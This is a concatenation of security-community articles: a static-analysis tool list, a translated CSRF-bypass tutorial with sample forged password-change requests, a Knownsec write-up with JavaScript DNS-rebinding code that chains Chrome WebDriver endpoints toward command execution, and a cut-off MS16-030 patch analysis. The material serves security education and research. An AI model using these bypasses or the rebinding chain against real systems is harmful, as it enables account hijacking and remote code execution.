[flawfinder](http://www.dwheeler.com/flawfinder/) [OSS] – 寻找可能存在的安全漏洞
[flint++](http://l2program.co.uk/category/flint) [OSS] – 跨平台, 无依赖端口的flint,
由C++程序开发，Facebook也在用
[oclint](http://oclint.org/) [OSS] – C/C++代码静态分析
[splint](http://www.splint.org/) [OSS] – C/C++代码静态分析
[tis-interpreter](https://github.com/TrustInSoft/tis-interpreter) [OSS] –
由标准C写的一款用于寻找敏感bug的解释器
[vera++](https://bitbucket.org/verateam/vera/wiki/Introduction) [OSS] –
Vera++是一个可用于验证，分析以及变换C++源代码的可编程工具
## C
[Code Analysis Rule Collection](https://carc.codeplex.com/) [OSS] – 包含一组特征,
代码修复以及在Microsoft .NET编译器平台”Roslyn”进行了重构
[code-cracker](https://github.com/code-cracker/code-cracker) [OSS] –
一款适用于C#和VB的分析库，且使用Roslyn进行重构, 代码分析
[CSharpEssentials](https://github.com/DustinCampbell/CSharpEssentials) [OSS] –
C# Essentials是一个Roslyn特征分析程序集合, 代码修复以及进行重构让其更能适应C# 6语言的特性
[Designite](http://www.designite-tools.com/) [PROPRIETARY] –
Designite是一款设计质量评估工具，测算各种各样的代码质量度量以及趋势分析
[Gendarme](http://www.mono-project.com/docs/tools+libraries/tools/gendarme/)[OSS] – Gendarme 检测包含在ECMA
CIL 格式 (Mono and .NET)中的项目以及函数库，寻找出代码中会出现的一些常见问题（编译器一般不会检测的问题）
[.NET Analyzers](https://github.com/DotNetAnalyzers) [OSS] – 一个专注于开发分析器的组织(特征,
代码修复, 重构) ，使用.NET编译平台
[SonarLint for Visual Studio](https://github.com/SonarSource/sonarlint-vs)
[OSS] – SonarLint是Visual Studio 2015中的一个扩展，其支持向开发者动态反馈新bug以及将质量问题注入.NET代码
[Refactoring Essentials](http://vsrefactoringessentials.com/) [OSS] – Visual
Studio 2015扩展用于C#以及VB.NET重构, 提供有关代码质量的建议
[ReSharper](https://www.jetbrains.com/resharper/) [PROPRIETARY] – 扩展Visual
Studio支持动态代码检测C#, VB.NET, ASP.NET, java script, TypeScript以及其他技术
[VSDiagnostics](https://github.com/Vannevelj/VSDiagnostics) [OSS] –
一个基于Roslyn且集成了VS的静态分析器集合
[Wintellect.Analyzers](https://github.com/Wintellect/Wintellect.Analyzers)
[OSS] – Wintellect写的.NET编译平台(“Roslyn”) 特征分析器以及代码修复工具
## 容器
[clair](https://github.com/coreos/clair) [OSS] – 用于容器的漏洞静态分析
[collector](https://github.com/banyanops/collector) [OSS] – 容器内运行任意脚本,然后收集可用信息
[Haskell Dockerfile Linter](https://github.com/lukasmartinelli/hadolint) [OSS]
– 一款智能Dockerfile linter，可以帮助你构建Docker镜像最佳实践
## CSS
[CSS Stats](https://github.com/cssstats/cssstats) [OSS] – 在样式表中潜在有趣的统计数据
[Parker](https://github.com/katiefenn/parker) [OSS] – 样式表分析工具
[scsslint](https://github.com/katiefenn/parker) [OSS] – SCSS文件小工具
[Specificity Graph](https://github.com/pocketjoso/specificity-graph) [OSS] –
CSS特征性图表生成器
[Stylelint](http://stylelint.io/) – [OSS] – SCSS/CSS文件小工具
## Elixir
[credo](https://github.com/rrrene/credo) [OSS] – 一款专注于教学以及代码相容性的静态代码分析工具
## Go
[dingo-hunter](https://github.com/nickng/dingo-hunter) [OSS] –
用于在Go程序中找出deadlocks的静态分析器
[flen](https://github.com/lafolle/flen) [OSS] – 在Go程序包中获取函数长度信息
[go/ast](https://golang.org/pkg/go/ast/) [OSS] – Package
ast声明了关于Go程序包用于表示语法树的类型
[gocyclo](https://github.com/fzipp/gocyclo) [OSS] – 在Go源代码中测算cyclomatic函数复杂性
[Go Meta Linter](https://github.com/alecthomas/gometalinter) [OSS] – 同时Go
lint工具且工具的输出标准化
[go vet](https://golang.org/cmd/vet/) [OSS] – 检测Go源代码并报告可疑的构造
[ineffassign](https://github.com/gordonklaus/ineffassign) – 在Go代码中检测无效赋值
[safesql](https://github.com/stripe/safesql) [OSS] – Golang静态分析工具，防止SQL注入
## Groovy
[CodeNarc](https://github.com/CodeNarc/CodeNarc) [OSS] – 一款Groovy源代码静态分析工具,
授权检验和执行大多数编码编著以及最佳实践。
## Haskell
[HLint](https://github.com/ndmitchell/hlint) [OSS] – HLint是一款提高Haskell代码质量的工具
## HTML
[HTMLHint](https://github.com/yaniswang/HTMLHint) [OSS] – HTML静态代码分析工具
[HTML Inspector](https://github.com/philipwalton/html-inspector) [OSS] – HTML
Inspector是一款代码质量工具，用以帮助你的团队写出更好的代码
## Java
[checkstyle](https://github.com/checkstyle/checkstyle) [OSS] –
检测Java源代码以坚持一个代码标准或者一组验证规则(最佳实践)
[ckjm](http://www.spinellis.gr/sw/ckjm/) [OSS] –
通过处理编译好的Java文件的字节码来计算Chidamber和Kemerer面向对象度量工具
[Error-prone](https://github.com/google/error-prone) [OSS] –
随着编译时错误信息捕获Java常见的错误
[fb-contrib](https://github.com/mebigfatguy/fb-contrib) [OSS] –
FindBugs的一个插件，支持额外的bug检测
[Findbugs](https://github.com/findbugsproject/findbugs) [OSS] –
FindBugs是一个从Java程序中找到bugs的工具，它的查找模式可能存在误差
[find-sec-bugs](https://find-sec-bugs.github.io/) [OSS] –
IDE/Sonarcube插件用于Java web应用程序的安全审计
[HuntBugs](https://github.com/amaembo/huntbugs) [OSS] –
基于Procyon编译工具的字节码静态分析器，旨在取代FindBugs.
[PMD](https://pmd.github.io/) [OSS] – Java源代码分析器
## java script
[aether](https://github.com/codecombat/aether) [OSS] – 程序集, 分析, 标准化, 重构, 沙盒,
运行, 单步调试, 以及可视化
[ClosureLinter](https://github.com/google/closure-linter) [OSS] – 确保你项目的所有java
script代码遵循Google java script样式指南，同时他还可以自动修复许多常见错误
[complexity-report](https://github.com/jared-stilwell/complexity-report) [OSS]
– 针对java script项目的软件复杂性分析
[escomplex](https://github.com/jared-stilwell/escomplex) [OSS] – 针对java
script系的抽象语法树软件复杂性分析
[eslint](https://github.com/eslint/eslint) [OSS] – 在java script代码中对模式进行识别及报告
[Esprima](https://github.com/jquery/esprima) [OSS] – ECMAScript解析标准，支持多用途分析
[quality](https://github.com/jden/quality) [OSS] – 零配置代码和模块化程序集
[jshint](https://github.com/jshint/jshint) [OSS] – 检测java
script代码中的错误及潜在问题，并执行你的团队约定好的编码方式。
[JSLint](https://github.com/douglascrockford/JSLint) [PROPRIETARY] – java
script代码质量工具
[plato](https://github.com/es-analysis/plato) [OSS] – java script可视化源代码复杂度
[yardstick](https://github.com/calmh/yardstick) [OSS] – java script代码度量工具
[XO](https://github.com/sindresorhus/xo) [OSS] – 执行严格的代码风格.
## Lua
[luacheck](https://github.com/mpeterv/luacheck) [OSS] – Lua代码静态分析工具
## Makefile
[portlint](https://www.freebsd.org/cgi/man.cgi?query=portlint&sektion=1&manpath=FreeBSD+8.1-RELEASE+and+Ports)
[OSS] – FreeBSD及DragonFlyBSD端口目录验证器
## Packages
[lintian](https://github.com/Debian/lintian)[OSS] – Debian程序包静态分析工具
## Perl
[Perl::Critic](http://search.cpan.org/~thaljef/Perl-Critic-1.126/lib/Perl/Critic.pm) [OSS] – Perl源代码最佳实践
## PHP
[DesignPatternDetector](https://github.com/Halleck45/DesignPatternDetector)
[OSS] – 在PHP代码中检测设计模式
[deptrac](https://github.com/sensiolabs-de/deptrac) [OSS] – 在软件层之间执行依赖规则
[exakat](https://github.com/exakat/exakat) [OSS] – PHP自动化代码审查引擎
[GrumPHP](https://github.com/phpro/grumphp) [OSS] – 检测每次提交的代码
[phan](https://github.com/etsy/phan) [OSS] – 来自etsy的现代化静态分析器
[php7cc](https://github.com/sstalle/php7cc) [OSS] – PHP 7 兼容性检查器
[php7mar](https://github.com/Alexia/php7mar) [OSS] – 帮助开发者快速将代码移植到PHP 7
[phpcpd](https://github.com/sebastianbergmann/phpcpd) [OSS] –
针对PHP代码的复制/粘贴检测工具.
[PHP_CodeSniffer](https://github.com/squizlabs/PHP_CodeSniffer) [OSS] –
检测违反定义的编码标准
[phpdcd](https://github.com/sebastianbergmann/phpdcd) [OSS] –
针对PHP代码的无作用代码检测工具
[PhpDependencyAnalysis](https://github.com/mamuz/PhpDependencyAnalysis) [OSS]
– 为项目创建一个依赖关系图标
[Php Inspections (EA Extended)](https://github.com/kalessil/phpinspectionsea)
[OSS] – PHP静态代码分析工具
[phpsa](https://github.com/ovr/phpsa) [OSS] – PHP静态分析工具
[PHPMD](https://phpmd.org/) [OSS] – 在你的代码中寻找可能出现的bug
[PhpMetrics](https://github.com/Halleck45/PhpMetrics) [OSS] – 预测代码的复杂性度量
[PHPQA](https://github.com/EdgedesignCZ/phpqa) [OSS] – 一款用于运行QA工具(phploc,
phpcpd, phpcs, pdepend, phpmd, phpmetrics)的工具
[PHP Refactoring Browser](https://github.com/QafooLabs/php-refactoring-browser) [OSS] – 重构助手
[PHP-Token-Reflection](https://github.com/Andrewsville/PHP-Token-Reflection)
[OSS] – 函数库模拟PHP内部反射
[PHP-Parser](https://github.com/nikic/PHP-Parser) [OSS] – PHP写的一款PHP解析器
[RIPS](https://github.com/ripsscanner/rips) [OSS] – 一款用于PHP脚本漏洞的静态源代码分析工具
[Tuli](https://github.com/ircmaxell/Tuli) [OSS] – 静态分析引擎
## Python
[bandit](https://github.com/openstack/bandit) [OSS] – 在Python代码中寻找常见安全问题的工具
[jedi](https://github.com/davidhalter/jedi) [OSS] – Python自动化/静态分析函数库
[mccabe](https://github.com/PyCQA/mccabe) [OSS] – 检测McCabe复杂性
[mypy](https://github.com/python/mypy) [OSS] – Python静态类型分析工具，旨在结合动态类型及静态类型的优点
[py-find-injection](https://github.com/uber/py-find-injection) [OSS] –
从Python代码中寻找SQL注入漏洞
[pycodestyle](https://github.com/PyCQA/pycodestyle) [OSS] – (formerly pep8)
Python风格检查工具
[pydocstyle](https://github.com/PyCQA/pydocstyle) [OSS] – Python
docstring风格检查工具
[pyflakes](https://github.com/pyflakes/pyflakes/) [OSS] – 检测Python源文件中的错误
[pylint](https://github.com/PyCQA/pylint) [OSS] – 寻找程序错误, 有助于执行编码标准以及嗅探代码异味.
此外它还包括pyreverse (UML图表生成器)以及symilar (一个类似的检测工具).
以及[可选的扩展](https://pylint.readthedocs.io/en/latest/reference_guide/extensions.html)
[pyroma](https://bitbucket.org/regebro/pyroma) [OSS] –
评估Python项目，并列出问题帮助提高代码质量
[vulture](https://bitbucket.org/jendrikseipp/vulture) [OSS] –
寻找Python代码中未使用的类,函数，变量
[xenon](https://github.com/rubik/xenon) [OSS] – 使用radon监控代码复杂度
## R
[lintr](https://github.com/jimhester/lintr) [PROPRIETARY] – R静态代码分析工具
## Ruby
[brakeman](https://github.com/presidentbeef/brakeman) [OSS] – Ruby on
Rails应用的一个静态分析安全漏洞扫描工具
[cane](https://github.com/square/cane) [OSS] – 代码质量标准检查
[dawnscanner](https://github.com/thesp0nge/dawnscanner) [OSS] –
ruby写的静态分析安全扫描器，支持Sinatra, Padrino以及Ruby on Rails框架
[flay](https://github.com/seattlerb/flay) [OSS] – Flay 分析代码结构相似之处
[flog](https://github.com/seattlerb/flog) [OSS] –
Flog在一个易于阅读的报告中点出大多数不合规则的代码，评价分数越高，代码就越糟糕
[laser](https://github.com/michaeledgar/laser) [OSS] – Ruby代码的风格小工具集和静态分析工具
[Mondrian](http://trismegiste.github.io/Mondrian/) [OSS] – 静态分析及重构工具
[pelusa](https://github.com/codegram/pelusa) [OSS] – 静态分析Lint-type工具用以改善你的Ruby面向对象代码
[quality](https://github.com/apiology/quality) [OSS] – 使用社区工具在你的代码中运行质量检测
[reek](https://github.com/troessner/reek) [OSS] – Ruby代码异味检测工具
[rubocop](https://github.com/bbatsov/rubocop) [OSS] – Ruby静态代码分析工具,
基于Ruby社区风格指南
[rubycritic](https://github.com/whitesmith/rubycritic) [OSS] – Ruby代码质量报告工具
[ruby-lint](https://github.com/YorickPeterse/ruby-lint) [OSS] – Ruby静态代码分析工具
[SandyMeter](https://github.com/makaroni4/sandi_meter) [OSS] – 用于检测遵循Sandi
Metz规则的Ruby代码的静态分析工具
## Rust
[clippy](https://github.com/Manishearth/rust-clippy) [OSS] –
一个代码小工具集用于捕获常见错误，以及提高Rust代码质量
[electrolysis](https://github.com/Kha/electrolysis) [OSS] – 验证Rust程序的工具
[herbie](https://github.com/mcarton/rust-herbie-lint) [OSS] –
当使用一个不稳定的浮点表达式时增加警告或者错误
[linter-rust](https://github.com/AtomLinter/linter-rust) [OSS] –
Atom扩展，列出你的Rust文件。使用rustc和cargo
[rustfix](https://github.com/killercup/rustfix) [OSS] – 读取和应用由rustc提出的建议
## Shell
[shellcheck](https://github.com/koalaman/shellcheck) [OSS] – ShellCheck,
一个精通分析工具，为bash/sh shell脚本提出警告和建议
## SQL
[sqlint](https://github.com/purcell/sqlint) [OSS] – 简单的SQL工具集
## Swift
[SwiftLint](https://github.com/realm/SwiftLint) [OSS] – 执行Swift编码风格和约定的工具
[Tailor](https://github.com/sleekbyte/tailor) [OSS] –
一个用Swift程序语言写的静态分析工具及源代码工具集 | 社区文章 |
注：本文是一篇翻译文章，原文链接：<https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee>
CSRF漏洞很容易就可以被发现并利用。一眼看去很多站点好像在这方面都做得不错：当你检查针对敏感操作的请求时，他们往往会实施CSRF保护。有时候可能是一个在请求主体中的CSRF
token，也有可能是一个referer字段检测，或者有时是一个特殊的HTTP头字段或者cookie字段。
但是CSRF的防御不代表它就不可以被绕过。今天我们讨论一些我如何绕过CSRF防御措施的技术。
## 所有的CSRF
不管哪种CSRF防御措施部署，你都可以先尝试如下两件事：点击劫持和更改请求方法。
### 点击劫持
在同一个功能端点利用点击劫持会绕过所有CSRF防御。因为从技术上讲，请求确实来自合法站点，如果易受攻击的端点所在页面容易遭受点击劫持攻击，那么所有的CSRF保护将变得没有效果，攻击者可以任意执行CSRF攻击。
### 更改请求方法
另外值得一试的方法就是更改请求的方法。如果要伪造的敏感请求是通过POST方法发送的，那么尝试将其转换为GET请求。如果操作时通过GET方法发送的，那么尝试转换为POST方法。应用程序可能仍然执行操作，且通常没有任何保护机制。
例如，如下请求：
POST /change_password
POST body:
new_password=qwerty
可以被改写成
GET /change_password?new_password=qwerty
## CSRF token的防御措施
因为一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的，可以尝试如下方法绕过CSRF的token保护。
### 删除token参数或发送空token
不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见：应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下，如果一个请求不包含token或者token值为空，那么也是有可能绕过CSRF的防御的。
例如，合法请求如下
POST /change_password
POST body:
new_password=qwerty &csrf_tok=871caef0757a4ac9691aceb9aad8b65b
那么实施这种请求：
POST /change_password
POST body:
new_password=qwerty
或这种：
POST /change_password
POST body:
new_password=qwerty&csrf_tok=
### 使用另一个session的CSRF token
应用程序可能只是检查token是否合法，但是不检查token是否确实归属于当前用户。如果是这种情况的话，你可以在payload中硬编码一个合法有效的token即可。
如果一个受害者的token是871caef0757a4ac9691aceb9aad8b65b，你自己的token是YOUR_TOKEN，那么你可以很容易获取到自己的token但很难获取到受害者的token。尝试在payload中提供自己的token来绕过CSRF防御。
换句话说，原本应该发送如下请求：
POST /change_password
POST body:
new_password=qwerty &csrf_tok=871caef0757a4ac9691aceb9aad8b65b
但是改成发送这个请求：
POST /change_password
POST body:
new_password=qwerty &csrf_tok=YOUR_TOKEN
### Session固定
有时候站点使用一个双提交cookie作为一个CSRF的防御措施。这个表明这个请求需要包含一个cookie，其值为随机token值，且同时在请求参数中也有一个字段值为该随机token值。如果值相同，那么请求是合法的。这种防御形式是非常常见的。
如果一个双提交cookie用在了防御措施中，那么这个应用有可能没有将有效的token保存在服务器端。所以它没有办法指定token是否合法，并且也有可能很少检查cookie中的token值和参数中token值是不是一样的。这代表你可以发送一个假token，然后仍然可以有效实施CSRF攻击。
这种攻击包含两个步骤：第一步，你使用一个session固定技术去确认受害者的浏览器使用的是你提供的包含假token的session，然后第二步在参数中使用同一个token来执行这个CSRF攻击。
1. session固定。这是一个可以让你控制受害者的cookie存储的攻击；
2. 执行如下请求来实施CSRF攻击
POST /change_password
Cookie: CSRF_TOK=FAKE_TOKEN;
POST body:
new_password=qwerty &csrf_tok=FAKE_TOKEN
## Referer字段的CSRF防御
如果attack.com是一个可控的域名，bank.com是一个要攻击的域名。这个站点没有使用CSRF
token但是检查了referer字段。你应该怎么做？
### 移除referer字段
和发送一个空token值相同，有时候你只需简单地移除referer字段就可以绕过CSRF防御。你可以添加如下meta标签到存在漏洞的页面。
<meta name =“referrer”content =“no-referrer”>
应用程序可能只是在发送后才会验证，这种情况下你可以绕过其CSRF防御。
### 绕过正则表达式
如果referer检查是基于白名单的，你可以尝试绕过验证URL的正则表达式。例如，你可以尝试在referer的URL中将受害者域名置于二级域名区域或者URL目录区域。
如果一个站点在referer字段检查“bank.com”字段，那么“bank.com.attacker.com"或”attakcer.com/bank.com"可能可以绕过这种检测。 | 社区文章 |
**Author：LoRexxar'@Knownsec 404 Team
Date: April 16, 2021
Chinese Version: <https://paper.seebug.org/1559/>**
On April 12th, [@cursered](https://twitter.com/cursered) published an article
on starlabs ["You Talking To Me?"](https://starlabs.sg/blog/2021/04/you-talking-to-me/), which shared some mechanisms and security issues about
Webdriver. Through a series of attack chains, we successfully realized the RCE
of Webdriver. Let's take a look at the ideas of the article~
Thanks to @cursered for a lot of help in the reproduction process~
# What is Webdriver?
WebDriver is a W3C standard, hosted by Selenium. The specific protocol
standards can be viewed from
<http://code.google.com/p/selenium/wiki/JsonWireProtocol#Command_Reference>.
In layman's terms, WebDriver is a simple version of the browser, which
provides protocols and interfaces for automatic control of the browser.
You can download the chrome version of Webdriver through
<https://chromedriver.chromium.org/downloads>. Chrome also provides a headless
mode for servers without desktop systems.
Generally speaking, Webdriver is used in crawlers and other scenarios that
require a wide range of web request scanning. In the security field, scanners
generally need to use selenium to control webdriver to complete pre-scanning.
In CTF, we can often see XSS Bot that accesses XSS challenges by controlling
Webdriver.
Here I borrow a picture from the original blog to describe how Webdriver
works.
In the entire process, the Selenium endpoint controls the webdriver by sending
a request to the corresponding seesion interface of the Webdriver port, and
the webdriver interacts with the browser through the debugging interface and
corresponding protocol (Chrome use the Chrome DevTools Protocol).
Since different browser have defined their own drivers, the protocols used
between different browsers and drivers may be different. For example, Chrome
uses the Chrome DevTools Protocol.
It should be noted that the port in the picture is the default port when
starting webdriver. Generally speaking, the Webdriver we operate through
selenium will be started on a random port.
In short, on the host of the webdriver that is normally opened through
Selenium, two ports will be opened, one is to provide the REST API service of
selenium to operate the webdriver, and the other is to operate the port of the
browser through a certain protocol.
Here we use a python3 script to start a webdriver to confirm this conclusion.
#!/usr/bin/env python
# -*- coding:utf-8 -*- import selenium
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import WebDriverException
import os
chromedriver = "./chromedriver_win32.exe"
browser = webdriver.Chrome(executable_path=chromedriver)
url = "https://lorexxar.cn"
browser.get(url)
# browser.quit()
The port in the log displayed after the script is executed is the CDP port
The port of webdriver can be confirmed by viewing the command in the process
# Chrome Webdriver Attack and exploitation
After understanding the basics of Webdriver, let's discuss some of the
security risks in the entire process.
## Arbitrary file reading?
If you have some understanding of the Chrome DevTools Protocol, it is not
difficult to find that it provides some interfaces to allow you to
automatically operate webdriver. All browser instance interfaces can be
obtained by visiting /json/list.
Get the interface path through webSocketDebuggerUrl here, and then we can
interact with this interface through websocket to realize all the functions of
CDP. For example, we can access the corresponding url through `Page.navigate`,
including the file protocol
Even, we can execute any js through `Runtime.evaluate`
If you are interested in the api of CDP, you can refer to
<https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate>
But the problem is also coming, how can we read the webSocketDebuggerUrl from
`http://127.0.0.1:<CDP Port>/json/list`? At least we can't use any non-zero
day to easily bypass the restriction of the same-origin policy, then we need
to continue to explore~
## RCE via REST API
As mentioned earlier, selenuim needs to operate Webdriver through the REST
API. API can refer to the[webdriver
protocol](https://www.w3.org/TR/webdriver/)or source
code<https://source.chromium.org/chromium/chromium/src/+/master:chrome/test/chromedriver/server/http_handler.cc>。
Here we focus on several interfaces
* `GET /sessions` From this endpoint, we can get the sessions of all currently active webdriver processes, and get the corresponding session id.
* `GET /session/{sessionid}/source`If we get the Session id, then we can get the data of the corresponding session, such as page content.
The corresponding api can refer to<https://www.w3.org/TR/webdriver/#endpoints>
* `POST /session` We can initiate a new session through POST data, and it allows us to configure a new session through POST parameters.
<https://www.w3.org/TR/webdriver/#dfn-new-sessions>
We can even start other applications directly by setting the bin path of the
new session
For related configuration parameters, we can directly refer to the selenium
operation configuration chrome
document<https://chromedriver.chromium.org/capabilities>
Here we can show how to start other applications via post. And we can
configure parameters by configuring args. (It should be noted that this api
has very strict verification of json, and any request that does not meet the
requirements will be reported as an error)
Seeing this, we have a bold idea whether we can send a post request through
fetch, even if we cannot get the return, we can trigger the operation.
But we failed.
When we initiate a request from another domain, the js request will
automatically bring the Origin header to show the source of the request. The
server will check the source and return`Host header or origin header is
specified and is not whitelisted or localhost.`
We can understand the corresponding restrictions from the corresponding code
in chromium.
<https://source.chromium.org/chromium/chromium/src/+/master:chrome/test/chromedriver/server/http_server.cc;l=28>
I think the more important thing here is that the `origin_header` of this
check from`std::string origin_header = info.GetHeaderValue("origin");`，it
means only the Origin in the request header,this check will be vaild. As we
all know, if we use javascript send a POST request, it will automatically
bring this header.in other words, the check here will not affect us to send a
GET request.
Following the source code, we can summarize the limit of this part.
In addition to the verification of the POST request in the upper part, the
verification in the lower part is more simplified. As long as `allow_remote`
is false, it will definitely reach the judgment, and it will definitely go
through the verification of `net::IsLocalhost`, and The `allow_remote` here is
false by default, and it will be true only when allow-ips are enabled. So the
conclusion is the same as the original text.
-If chromedriver has no `--allowed-ips` parameter -No matter any type of request HOST needs to be verified by `net::IsLocalhost` -If there is an Origin header, then the Origin header data also needs to be verified by `net::IsLocalhost` -If chromedriver has `--allowed-ips` parameter -GET request will not check HOST -POST request: -If there is an Origin header, then the Origin header data needs to be verified by `net::IsLocalhost`. -If there is no Origin header, there is no additional check. (How to use js to complete a post request without Origin?) -If HOST is in ip:port format, then ip needs to be in the whitelist.
Combining all the previous conditions, we can clearly understand that only
when the `--allowed-ips` parameter is turned on, we can initiate a GET request
corresponding to the API by binding the domain name. Otherwise, we must let
HOST pass the check, but unfortunately, only ip and localhost can pass the
`net::IsLocalhost` check. We can simply verify this.
So the question is, if we can send a GET request by binding the domain name,
can we read the page content through DNS Rebinding?
## DNS Rebinding to read GET return
We are here to detect by simulating a DNS rebinding, here we use a simple code
to do the check.
var i = 0;
var sessionid;
function waitdata(){
fetch("http://r.d73ha3.ceye.io:22827/sessions", {
method: "GET",
mode: "no-cors"
}).then(res => res.json()).then(res => function () {
if(res.value){
sessionid = res.value[0].id;
}
}());
stopwait();
}
function stopwait(){
if(sessionid!=undefined){
console.log(sessionid);
clearInterval(t1);
}
}
t1 = setInterval('i +=1;console.log("wait dns rebinding...test "+i);waitdata()',1000);
It can be seen that after 63 requests, the dns cache fails and the
corresponding seesionid is successfully obtained from 127.0.0.1.
## attack chain！
We can now try to connect them together.
* The victim uses webdriver to visit exp.com/a.html, and a.html scans the 127.0.0.1 corresponding webdriver port.
* Redirect to `exp.com:<webdriver port>` and start to execute JS+DNS Rebinding.
* By constructing JS+DNS Rebinding, we can read the return of the webdriver port GET request, and get the debug port and session id of the corresponding Session through `GET /sessions`.
* Through the Session id, we can use `GET /session/{sessionid}/source` to get the page content of the corresponding window.
* Through the debug port corresponding to the Session, we can make the browser access `http://127.0.0.1:<CDP Port>/json/list`, and get back to the corresponding browse via `GET /session/{sessionid}/source` WebSocketDebuggerUrl of the browser window.
* Interact with the browser window session through webSocketDebuggerUrl, and execute the JS code using the `Runtime.evaluate` method.
* Construct JS code `POST /session` to execute commands.
Here we borrow a picture from the original text to show the entire exp
process.
Here I simulated the real environment (skip the port scan
videos
[video in bilibili](https://www.bilibili.com/video/BV1X5411c7qX)
[video in youtube](https://www.youtube.com/watch?v=cpySzy9TgDU)
In order to facilitate video recording, here we choose to specify the
webdriver port as 52223, which can be determined by scanning the port in the
real environment. The manual DNS rebinding with ceye is used here to be more
intuitive.
# At last
As mentioned in the previous article, different browsers will use their own
browser protocols, but the big difference is firefox and the corresponding
Geckodriver. On Geckodriver, firefox has designed a set of protocols that are
quite different from chrome logic. In the original text, the author used a TCP
connection splitting error to complete the corresponding use, and it was fixed
in Firefox 87.0. The safaridriver implements a stricter host check, which
causes the DNS rebinding vulnerability to not take effect. Browsers including
Chrome, MS Edge and Opera are still threatened by this vulnerability.
But unfortunately, although we have implemented a full attack chain here, the
only restriction is that the configuration of `--allowed-ips` is very rare. In
the scenario where webdriver is generally operated through Selenium, the
general Users will only configure Chrome's parameter options, not webdriver's
parameters, and it is clearly stated in the official website that `--allowed-ips` will cause possible security issues.
<https://chromedriver.chromium.org/security-considerations>
This condition makes the entire exploit more demanding, but maybe some day in
the future, a new feature of Chrome will rewrite this part of the feature?
This is not good, right~~
* * * | 社区文章 |
原文链接：[安全客](http://bobao.360.cn/learning/detail/3109.html)
Author： **k0pwn_ko**
### MS16-030漏洞
MS16-030漏洞是Windows
OLE的远程代码执行漏洞，由于OLE没有正确的验证用户输入，导致通过构造特殊的文件或者程序可以触发此漏洞，导致用户点击后远程执行任意代码。
关于漏洞补丁信息：
https://support.microsoft.com/zh-cn/kb/3143136
关于漏洞说明文档：
https://support.microsoft.com/zh-cn/kb/3143136
### MS16-030补丁对比分析
最近由于对我们一些相关产品的研究，需要分析MS16-030的补丁。在分析完之后，我们发现这个补丁中关于这个漏洞的攻击部分是很有趣的，而且把这个漏洞的一部分细节拿出来分享应该对大家都有所帮助。这篇文章主要就是重点分享从补丁对比，到触发MS16-030漏洞的过程。
OLEAUT32.dll是Windows OLE的一个重要动态链接库，我们可以看到在补丁前后对于OLEAUT32动态链接库中修改过的函数的列表。
查看这个函数列表，我们选择仔细阅读OLEAUT32!_ResToIcon这个函数功能，不过我们也需要考虑到这个过程可能会涉及到其他函数的变动。那么首先我们这个函数可能是用来执行一些和图标相关的一些功能，来看一下关于这个函数补丁前后的逻辑流程图的对比。
通过对这张流程图前后对比中可以发现，关于ResToIcon函数在逻辑执行流程上有很多变化，但是我们需要考虑每一个代码块执行的变化是否是由于存在安全漏洞才改变的，让我们重点来分析每一个代码块。
当分析到上面的代码块的时候，我们发现这个很有可能是我们触发MS16-030漏洞的关键部分之一，我们可以看到这里有两个调用，一个是call
SizeTAdd，还有一个是call ULongLongToULong，在文档中我们可以查找一下这两个函数调用：
SizeTAdd -- 这个函数是OLEAUT32.dll的一组内联函数，作用是进行算术运算并且检验结果的有效性，优势是对性能影响较小。
ULongLongToULong -- 这个函数也是OLEAUT32.dll的一组内联函数，作用是进行类型转换并且检验结果的有效性，优势也是对性能影响较小。
这么看来这个位置有可能就是能触发MS16-030的关键位置，那么问题来了，如何能够让符号路径执行到这个分支？首先我们需要在OLEAUT32.dll中找到一个路径的入口点，这条路径可以执行到ResTICon这个函数。
对于符号路径的执行我们提供了一张流程图，正如所示，有几条路径都可以执行到ResTICon，通过一些试验，我们选择使用由vbscript.dll中调用的导入函数OLEAUT32!_OleLoadPicture（图中黄圈所示），通过这个函数再执行到ResTICon函数位置。
那么首先我们就需要分析一下vbscript.dll中的导入函数的执行路径，通过IDA
pro打开vbscript，通过流程图我们可以看到导入函数OLEAUT32!_OleLoadPicture的执行过程，流程非常简单。
可以看到，在vbscript.dll中经过几次调用，会执行到_imp_OleLoadPicture位置，这个imp实际就是在vbscript.dll中执行到该位置时会调用OLEAUT32.dll中的OleLoadPicture函数，这样就和之前我们分析的几种分支中我们选用的部分重合了。
这样看来，我们只要调用vbscript!VbsLoadPicture就有可能执行到我们需要的分支流程中，可以通过vbscript
LoadPicture的API调用到这个vbscript函数，从而执行到OleLoadPicture函数分支。
### PoC构造
我们尝试使用这种方法，首先在vbscript.dll中调用导入函数OleLoadPicture的位置下了断点，然后创建了一个图标，这个图标加载时会调用LoadPicture的这个API，也就是会调用VbsLoadPicture函数，打开这个图标，但是却没有命中断点。我们只能来检查一下这个过程为什么没有命中断点。
通过分析，我们发现在调用VbsLoadPicture之后，执行过程中会先调用一个call **imp**
StgIsStorageFile，这个函数也是OLEAUT32.dll中的函数，正是ole32!StgIsStorageFile导致的无法执行到OleLoadPicture，那么这个函数的是什么呢？
通过查看MSDN，我们只找到关于StgIsStorageFile函数很少的信息，这个函数主要用来表明特定磁盘中是否包含存储对象。
通过Google检索我们需要从VbsLoadPicture到OleLoadPicture的这个执行流程，其实这个过程是一个类似于COM结构化存储的执行过程，通过MSDN可以找到一些关于这个过程的信息。
“结构化存储就是将单个文件以数据和流的形式作为一种结构化集合来处理，从而在COM中保持数据和文件的持久性”。
这样看来，我们需要创建一个结构化的存储对象然后插入一个图片，来使函数执行到OleLoadPicture函数调用位置。那么这样的一个文件我们应该如何创建呢？
进一步通过Google搜索，我们找到了一款叫做OpenMCDF的工具，下载地址是： http://openmcdf.sourceforge.net
。这样我们要做的就是在存储化结构的根节点位置创建一个包含图片的流（译者话：这个存储化结构的概念在很多地方都有用到，比如Office文档，pdf文件等等），然后通过vbscript再次打开这个文件调用LoadPicture函数。我们使用OpenMCDF工具中一个结构化存储的界面。
通过这个界面创建文件之后，我们再次在vbscript.dll中的OleLoadPicture下断点，但是还是没有命中，这是什么原因呢？
经过分析，我们发现，在调用OleLoadPicture之前，还会经过另一处检查。
